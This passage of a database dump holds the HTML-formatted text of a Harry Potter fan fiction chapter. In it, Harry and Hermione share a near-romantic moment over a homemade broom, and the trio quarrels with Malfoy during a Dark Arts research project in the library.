style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">He was snoring.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Loudly.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">A/N: Hoped you\nliked. And if you did, I wouldn&#8217;t mind knowing. So hit the pretty review button\nand review! Merry Christmas and a Happy New Year!</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(156, 2, '\n\n\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">A/N: sbys, you did\nNOT copy me. So stress less, m&#8217;dear! </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione opened\none eye and then the other. Her kitten, Salem\nwas looking at her with a puzzled look on it&#8217;s face. After the passing of\nCrookshanks, her next present from her best friends was this bundle of fur.\nHermione couldn&#8217;t help feeling traitorous to Crookshanks at first, but now\nloved the kitten very much and &#8211; to Ron&#8217;s disgust (he never had gotten over his\ndislike of That Cat, as he would call him) &#8211;&nbsp;\nstill kept a picture on her dresser.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Rise and shine!&#8217;\ncrowed Harry from across the room. He flicked his wand at the curtains, which\nopened. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione screwed\nup her eyes in the bright light and poked her tongue out at Harry. &#8216;I don&#8217;t\nlike you, Potter.&#8217; She said, pulling the duvet over her head.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry, not\ndeterred, pulled it off her and threw it on the floor. &#8216;Come on, I have to show\nyou something!&#8217; he whined, sitting beside her.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione opened\none eye and stared straight at her best friend who was looking at her so earnestly.\n&#8216;Fine, fine.&#8217; She muttered, caving in. Harry smiled happily, and turned around\nso she could change. She put on her school shirt, skirt and jumper and ran a\nbrush through her hair.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry grinned at\nher and linked an arm through hers as they made their way downstairs on the\nchilly autumn morning. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">They made their\nway up to the Astronomy Tower\nand Hermione&#8217;s mouth fell open. She entered the room uncertainly and glanced\ndubiously at a broom which was precisely the right height for her to mount. She\nsent him a look.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry pouted. &#8216;I\nmade it!&#8217; </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;You what?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Remember the\nother day,&#8217; said Harry. &#8216;When me and Ron were talking about the latest Nimbus\nand you said you could make a broom too, and you worked out all the\naero-dynamics and what-not?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione nodded\nslowly, a grin forming on her face.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry waved a bit\nof parchment with figures written all over in what was unmistakably Hermione&#8217;s\nown tiny handwriting.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;You didn&#8217;t . . .&#8217;\nshe said slowly.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;You&#8217;re good with\nyour head.&#8217; He said. &#8216;I&#8217;m good with my hands.&#8217; He held them out.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione smiled.\n&#8216;You know, with my head and your hands, we could do great things.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;What would your\nhead want to do with my hands?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;We could form a\nnew company,&#8217; said Hermione getting excited. &#8216;A new brand of racing broom. . .&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;We could be the\nfirst husband and wife . . .&#8217; Harry stopped abruptly, reddened and putting his\nhands in his pockets. Where on earth had that little statement come from?\n&#8216;Forget that.&#8217; He added.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;I think you&#8217;d\nmake a lovely husband.&#8217; Said Hermione gently, she nudged him as if to say that\nshe didn&#8217;t mind.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Bet you&#8217;d be good\nwith kids.&#8217; He said gruffly.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">At that moment, Harry\nlooked at her and couldn&#8217;t imagine ever being without her in his life. Her\ncomforting words, her trust. Harry coughed nervously and felt afraid of\nemotions building inside him, scared of what they meant. He hastened to change\nthe subject. &#8216;What&#8217;ll we call it?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Emerald.&#8217; She\nsaid absently, looking into his eyes.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry hesitated\nbefore moving a bit closer. &#8216;Emerald?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;The colour of\nyour eyes.&#8217; She said, whispering now because their faces were so close. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;What about\nyours?&#8217; suggested Harry.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;What,&#8217; scoffed\nHermione. &#8216;Boring brown?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;No. Golden.&#8217; He\nsaid, tracing a hand down her face.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">The door banged\nopen, and they sprang apart, both flushing furiously. Hermione bit her lip and\nlooked down at the floor.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Cool, is that the\nbroom you were on about?&#8217; said Seamus, oblivious to any sentiment, thereof.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry opened his\nmouth to answer, when he saw Hermione leaving. &#8216;Hermione!&#8217; he said instead.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione turned\nand looked him straight in the eyes. &#8216;I have to get ready for class.&#8217; She said\nsimply. Walking briskly away, she broke into a run when she felt the burning\ngaze of Harry&#8217;s eyes could no longer see her.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;So,&#8217; said Seamus.\n&#8216;You were saying?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione&#8217;s\nthoughts were racing as she gathered her books in her dorm. She paused when she\nsaw a picture of herself, Harry, Ron and Lavender together. She picked up the\nslender frame she kept it in and watch as her photographic self, smile back at\nher and kiss Harry on the cheek. Harry in turn, encircled an arm around her\nwaist and held her to him. Hermione swallowed and sat back on her bed.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Her alarm clock\nran loudly and she glanced at it impatiently. &#8216;Late for Advanced Defense\nAgainst Dark Arts,&#8217; it cried gleefully. Hermione gasped and ran out of the room\nquickly, looking back to see Salem&#8217;s\neyes looking back at her reproachfully.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">She ran straight\ninto Professor McGonagall, apologized and slipped into the classroom just as\nProfessor Newmanl was in the act of hanging up his walking cane on a golden\nclaw. She skidded to a halt and flung herself into her usual seat, propping her\nhead on her hands.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;I trust you won&#8217;t\nbe late again.&#8217; He said, giving her a stern look.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">She reddened and\nfiddled with the tip of her quill. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;As you all must\nknow,&#8217; said Professor Newman. &#8216;Dark Magic is getting ever stronger. So I have\ngiven you a project which you will do in groups of four - each different &#8211; that\nhas absolutely nothing to do with it.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Ron and Harry\nexchanged a look, and instinctively friends moved closer together in hope that\nthey would be in the same group. Malfoy snorted derisively at the trio in front\nof him and ignored Crabbe and Goyle&#8217;s stupid remarks.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Ron took the slip\nof paper handed to him by Professor Newman and a smile spread across his face\nat the first two names and then was replaced so fast by a scowl of such a\ndegree that Hermione&#8217;s was unsure that he smiled at all. Hermione examined her\nown slip and rolled her eyes. Typical.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;This can&#8217;t be a\ncoincidence!&#8217; said Harry angrily. &#8216;Hermione Granger, Ron Weasley, Draco Malfoy\nand yourself will be working on Ancient Dark Arts.&#8217; He read aloud. &#8216;This is\nsome stupid thing to educate us. This isn&#8217;t Advance Defense Against Dark Arts &#8211;\nthis is Defense Against Voldemort.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Several students\nlooked uneasy at the usage of his name.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Believe me,\nPotter.&#8217; Said Malfoy smoothly. &#8216;This is no pleasure for me either.&#8217; His eyes\nflicked over to Hermione.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;I can&#8217;t work with\nhim,&#8217; spat Hermione.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Work with, Miss\nGranger,&#8217; said Professor Newman. &#8216;Not marry.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione exhaled\nloudly, clutching her books to her chest, gripping it so tightly that her\nknuckles were white.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Go on to the\nlibrary,&#8217; said their Professor again, cheerily. &#8216;Go research.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Ron and Malfoy\nexchanging filthy looks, they stalked out of the now silent classroom, metallic\nfootsteps echoing through the dungeon.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">They had been\nworking in silence, and the only sounds were rustling of parchment, scratching\nof quills and turning of heavy volumes. As seventh years who were doing Advance\nDefense Against Dark Arts, they were allowed to use the Restricted Section of\nthe library.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Malfoy opened yet\nanother volume which caused Ron to pass him a dirty look. &#8216;Why do you bother?&#8217;\nhe said, harshly.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Malfoy licked the\ntip of his index finger and turned a page. &#8216;I&#8217;m not sure what you mean,\nWeasley.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Hasn&#8217;t daddy\ntaught you all his Death Eater ways yet?&#8217; Ron said. &#8216;We know he is one. Harry\nsaw him.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Malfoy&#8217;s eyes\nturned to Harry. &#8216;It&#8217;s none of your concern.&#8217; He said icily. &#8216;You,&#8217; his eyes\nrested on Ron. &#8216;should be worrying about whether those second hand robes of\nyours will last you another year.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;It&#8217;s getting old,\nMalfoy.&#8217; Said Hermione. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Keep your\nMudblood head out of my business.&#8217; Retorted Malfoy.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry stood up\nquickly. &#8216;Shut the hell up, Malfoy.&#8217; He said through clenched teeth. &#8216;I know\nyour dad&#8217;s a Death Eater. And I know that you probably will follow in his slimy\nfootsteps.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Don&#8217;t you dare assume\nanything about me,&#8217; said Malfoy. &#8216;Or my father.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Boys!&#8217; clucked\nMadame Pince at them, looking around the bookshelf.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione watched\nMalfoy&#8217;s hands tremble as they turned another page of the book. &#8216;Do you think\nthis project is for us to learn more about the Dark Arts?&#8217; she said, changing\nthe subject.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry hesitated.\n&#8216;Probably.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione nodded\nand returned to her perusal of her book. &#8216;Harry,&#8217; she said suddenly. &#8216;Look at\nthis.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry leant\ntowards her, and for a second she was distracted by the cologne he was wearing.\nShe pointed to the last sentence on the page. &#8216;Flesh, Blood and Bone; also\nknown as a weak rebirthing spell only works in few cases where immortality has\nalso been attempted,&#8217; she read.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry looked at\nher. &#8216;Go on.&#8217; He said.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;And that&#8217;s it.&#8217;\nShe said, sighing. She flicked a torn piece which ran down the center of the\nbook. &#8216;Someone ripped it out. Someone went to great lengths to keep this spell\na mystery.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry frowned at\nthe book and flicked through the corners of the book. &#8216;Maybe it was Crouch&#8217;s\nson.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Ron shrugged.\n&#8216;Maybe.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Malfoy looked at\nthe volume carefully. &#8216;Can I have this?&#8217; he said. Hermione raised and lowered\nan eyebrow. She nodded.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">The bell tolled\nfor the start of lunch. Malfoy left abruptly, running a finger down the spine\nof the book. Hermione, Harry and Ron stayed a few moments longer and Harry\nleant forward confidentially. &#8216;Look, here.&#8217; He said. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione took the\nbook: Animagus, a New Way!\nwas the title. Hermione glanced from him to the book. &#8216;I&#8217;m sure we can ask\nProfessor McGonagall for help,&#8217; she said.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;I want to do this\non my own.&#8217; He said. He looked from Ron to Hermione quickly. &#8216;Will you?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione looked at\nhim carefully and smiled suddenly.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Cool!&#8217; said Ron,\nthumbing through the book.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Draco!&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Malfoy winced at\nthe high pitched, shrill voice which followed him and would not go away &#8211; just\nlike a bad odour. &#8216;Sod off.&#8217; He muttered and retreated to the Head&#8217;s Common\nRoom where a sleek owl was standing patiently.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Flint.&#8217;\nHe said. Running the back of his hand down the silky feathered body, he took\nthe envelope off his leg. Fishing in his pocket, he pulled out a biscuit and Flint\npecked it up gratefully.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Malfoy watched him\nfor a moment. He certainly never felt affection towards any person in this\nschool. In fact, ever since the fantasy father he had made himself believe in\nproved false, he had little to love. His mother he did love, but scorned for\nbeing so weak. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">He read the\ncontents of the envelope swiftly and tore it up angrily. Tossing the pieces\ninto the blazing fire, he heard sounds of laughter coming from outside.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">One guess who it\nwas.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Gritting his\nteeth, he sank into a chair and hated himself for the pang he felt in the pit\nof his stomach.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">He didn&#8217;t think it\nhad anything to do with being hungry.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hogsmeade trip. As\nseventh years, though some of the novelty had worn off, it was good to get out\nof worrying about NEWTs. Ron was with Lavender, both beet red as Hermione\ngleefully told Harry from their own table only to receive a death stare from Ron\nwho heard their sniggers.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Come on,&#8217; said\nHarry loudly. &#8216;We&#8217;ll leave the lovebirds to themselves.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Needless to say,\nthey exited swiftly.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Still laughing and\nfeeling giddy, Hermione and Harry walked into a little lane. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Poor Ronniekins,\neh?&#8217; said Hermione sitting on a bench outside a musty bookshop.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry&#8217;s laughter\nfaded away and he pulled Hermione behind a crate quickly.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Harry, what . .\n.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Shh.&#8217; He said,\npressing a finger to her lips.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione flushed a\nlittle and looked down. Harry was surprised by the impulsive caress and also\nleant down. Sure enough, footsteps approached them and they heard familiar\nvoices.</p>\n\n<p class="MsoNormal" 